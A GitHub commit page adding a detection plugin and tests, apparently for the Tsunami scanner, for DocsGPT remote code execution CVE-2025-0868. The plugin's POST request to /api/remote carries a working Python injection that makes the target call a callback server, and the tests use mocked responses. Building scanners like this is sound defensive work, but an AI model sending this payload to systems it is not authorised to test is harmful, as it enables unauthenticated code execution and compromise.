Skip to content

Commit eff7db0

Browse files
Merge pull request #652 from frkngksl:docsGPTRCE
PiperOrigin-RevId: 781077729 Change-Id: I12115bda7f2a3987ae72f82a4bc6bf3afc20e596
2 parents 1bd8872 + 4c34309 commit eff7db0

2 files changed

Lines changed: 145 additions & 0 deletions

File tree

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
# proto-file: proto/templated_plugin.proto
2+
# proto-message: TemplatedPlugin
3+
4+
###############
5+
# PLUGIN INFO #
6+
###############
7+
8+
info: {
9+
type: VULN_DETECTION
10+
name: "DocsGPT_CVE_2025_0868"
11+
author: "frkngksl"
12+
version: "1.0"
13+
}
14+
15+
finding: {
16+
main_id: {
17+
publisher: "GOOGLE"
18+
value: "CVE-2025-0868"
19+
}
20+
severity: CRITICAL
21+
title: "Remote code execution affecting DocsGPT (CVE-2025-0868)"
22+
description: "DocsGPT is an AI-powered, open-source tool that has the function of streamlining the way users interact with documentation. The vulnerability allows unauthorized attackers to execute arbitrary Python code remotely on affected systems. This could potentially lead to complete system compromise, data theft, or service disruption, as the attack requires no authentication and can be executed remotely."
23+
recommendation: "Update the version to 0.13.0 or later."
24+
related_id: {
25+
publisher: "CVE"
26+
value: "CVE-2025-0868"
27+
}
28+
}
29+
30+
config: {}
31+
32+
###########
33+
# ACTIONS #
34+
###########
35+
36+
actions: {
37+
name: "trigger_code_execution"
38+
http_request: {
39+
method: POST
40+
uri: "/api/remote"
41+
headers: [
42+
{ name: "Content-Type" value: "application/x-www-form-urlencoded" }
43+
]
44+
data: "user=1&source=reddit&name=other&data={\"source\":\"reddit\",\"client_id\":\"1111\",\"client_secret\":1111,\"user_agent\":\"111\",\"search_queries\":[\"\"],\"number_posts\":10,\"rce\\\\\":__import__('requests').get('{{ T_CBS_URI }}')}#\":11}"
45+
response: {
46+
http_status: 200
47+
expect_all: {
48+
conditions: [
49+
{ body: {} contains: "\"success\": true" },
50+
{ body: {} contains: "\"task_id\":" }
51+
]
52+
}
53+
}
54+
}
55+
}
56+
57+
actions: {
58+
name: "sleep"
59+
utility: { sleep: { duration_ms: 1000 } }
60+
}
61+
62+
actions: {
63+
name: "check_callback_server_logs"
64+
callback_server: { action_type: CHECK }
65+
}
66+
67+
68+
#############
69+
# WORKFLOWS #
70+
#############
71+
72+
workflows: {
73+
condition: REQUIRES_CALLBACK_SERVER
74+
actions: [
75+
"trigger_code_execution",
76+
"sleep",
77+
"check_callback_server_logs"
78+
]
79+
}
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
# proto-file: proto/templated_plugin_tests.proto
2+
# proto-message: TemplatedPluginTests
3+
4+
config: {
5+
tested_plugin: "DocsGPT_CVE_2025_0868"
6+
}
7+
8+
tests: {
9+
name: "whenVulnerable_returnsTrue"
10+
expect_vulnerability: true
11+
12+
mock_callback_server: {
13+
enabled: true
14+
has_interaction: true
15+
}
16+
17+
mock_http_server: {
18+
mock_responses: [
19+
{
20+
uri: "/api/remote"
21+
status: 200
22+
body_content: "{ \"success\": true,\"task_id\": \"c4473c2f-5baf-4d4a-821b-1260a6cce4ce\"}"
23+
}
24+
]
25+
}
26+
}
27+
28+
tests: {
29+
name: "whenNoCallback_returnsFalse"
30+
expect_vulnerability: false
31+
32+
mock_callback_server: {
33+
enabled: true
34+
has_interaction: false
35+
}
36+
37+
mock_http_server: {
38+
mock_responses: [
39+
{
40+
uri: "/api/remote"
41+
status: 200
42+
body_content: "{ \"success\": true,\"task_id\": \"c4473c2f-5baf-4d4a-821b-1260a6cce4ce\"}"
43+
}
44+
]
45+
}
46+
}
47+
48+
tests: {
49+
name: "whenNotDocsGPT_returnsFalse"
50+
expect_vulnerability: false
51+
52+
mock_callback_server: {
53+
enabled: true
54+
has_interaction: true
55+
}
56+
57+
mock_http_server: {
58+
mock_responses: [
59+
{
60+
uri: "TSUNAMI_MAGIC_ANY_URI"
61+
status: 200
62+
body_content: "Hello world"
63+
}
64+
]
65+
}
66+
}

0 commit comments

Comments
 (0)